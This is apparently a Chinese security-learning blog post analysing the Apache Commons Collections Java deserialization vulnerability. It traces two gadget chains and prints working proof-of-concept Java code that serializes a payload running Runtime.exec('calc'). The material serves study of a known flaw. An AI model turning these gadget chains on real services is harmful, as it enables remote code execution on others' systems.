Java安全之反序列化(二)--CommonsCollections

最经典的反序列化漏洞--CommonsCollections:

  先从最经典的Apache Commons Collections分析,该漏洞直接影响了WebLogic,WebSphere,JBoss,Jenkins等一系列大型框架。

  该漏洞的出现的根源在Commons Collections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,问题函数主要出现在org.apache.commons.collections.Transformer接口上,该接口值定义了一个transform方法,该方法的作用是给定一个Object对象经过转换后同时也返回一个Object对象。

  Transformer接口有一个叫InvokerTransformer的实现类,invoke一词在java里面意味着反射调用,在代码审计时尤其要注意,因此跟进一下这个InvokerTransformer实现类

  我们可以看见这个InvokerTransformer类还实现了Serializable接口,意味着该类是可序列化的。并且通过注释我们知道,该类是通过反射创建新对象实例的转换器实现。

  我们可以看见该类重写的transform方法中采用了反射的方法进行函数调用,input对象为要进行反射调用方法的对象,iMethodName,iParamTypes,iArgs为构造该类时传入的参数,分别是要调用的方法名称和对应的方法参数,我们回看该类构造器发现这这三个参数均为可控参数。

  那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法,通过寻找发现有两个类会调用该方法:
 
1.LazyMap的get()方法会调用到transform方法。LazyMap是一个Map的实现,主要利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值。

  我们可以看到,调用transform方法之前会先判断当前Map中是否存在key,如果不存在才会调用factory.transform方法,我们继续跟一下做个factory变量,发现是由decorate方法进行初始化的,并且返回一个LazyMap实例。

所以说现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。

现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,跟一下这个类的readObject方法,毕竟readObject方法是反序列化的基础。

  memberValues对象是AnnotationInvocationHandler类的构造器初始化的,也就是我们传入的LazyMap对象,只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,可惜的是该readObject方法里面并没有调用get()。但是我们往上翻一翻就能看见AnnotationInvocationHandler类的invoke方法调用了get()方法。

 

  因此我们需要借用动态代理机制来触发这个invoke()函数,AnnotationInvocationHandler类默认实现了InvocationHandler接口,在调用Proxy.newInstance()方法生成动态代理后,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发。到这里,整个利用链已经梳理清楚了,看一下网上前辈们做的POC。

  

接下来我们来看一下另一种利用链。复现失败的话要去设置一下jdk版本。
从上一条利用链我们知道需要找到调用LazyMap.get()方法的类,除了上面的AnnotationInvocationHandler以外,还有一个TiedMapEntry类的getValue()也调用了get()方法。

 

这个map对象是我们初始化TiedMapEntry时传入构造器的参数,然后TiedMapEntry类的toString()方法又调用了这个getValue()方法。

 

toString()方法会在字符串拼接或者将类转为字符串的时候调用,因此需要寻找到将该类当字符串处理的类。我们来看看BadAttributeValueExpException的readObject方法。
我们可以看到在第三个分支中调用了valObj.toString方法,而valObj是从传过来的对象流中读取的val属性(通过readFields方法读取,这部分属于反射的知识),因此我们控制BadAttributeValueExpException的val属性为我们构造的TiedMapEntry对象即可。
package fanxuliehua;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers_exec);
        //ChainedTransformer为链式的Transformer实现类,会改个执行数组中的Transformer
        HashMap innerMap = new HashMap();
        innerMap.put("key","xiaogui");//随便填充点数据
        Map lazyMap = LazyMap.decorate(innerMap,chain);//初始化LazyMap
        // 将lazyMap封装到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通过反射给badAttributeValueExpException的val属性赋值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);//这里要设置通过反射获得的类其属性可修改
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}
 
2.TransformedMap的checkSetValue()方法也调用了Transformer接口中的transform方法,我们来分析分析,代码如下。

 

 

可以看到MapEntry类的setValue方法调用了checkSetValue方法,这里MapEntry的代码我是在网上找的别人的,因为版本问题,现在这个类已经改成接口了,找了半天没找到实现类代码位置。

然后在AnnotationInvocationHandler这个类的readObject方法中恰好又调用了setValue方法,因此也不需要使用动态代理了。

构造的POC如下,因为版本问题,这个反序列化漏洞已经没法复现了

不过手动调用Entry的setValue方法还能看见这个反序列化漏洞的影子

package fanxuliehua;

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Map map=new HashMap();
        map.put("key","xiaogui");
        Transformer transformer=new ChainedTransformer(transformers_exec);
        Map<String,Object> transformedMap=TransformedMap.decorate(map, null, transformer);
        for(Map.Entry<String, Object> entry:transformedMap.entrySet()) {
            entry.setValue("小鬼");//手动调用setValue方法
        }
    }
}
到这里CommonsCollections的反序列化漏洞的两条主流的利用链就分析完了,理解过后有助于接下来分析其他的Java安全漏洞。

 

 

 

 

 

posted @ 2020-11-24 20:07  学安全的小鬼  阅读(185)  评论(0编辑  收藏  举报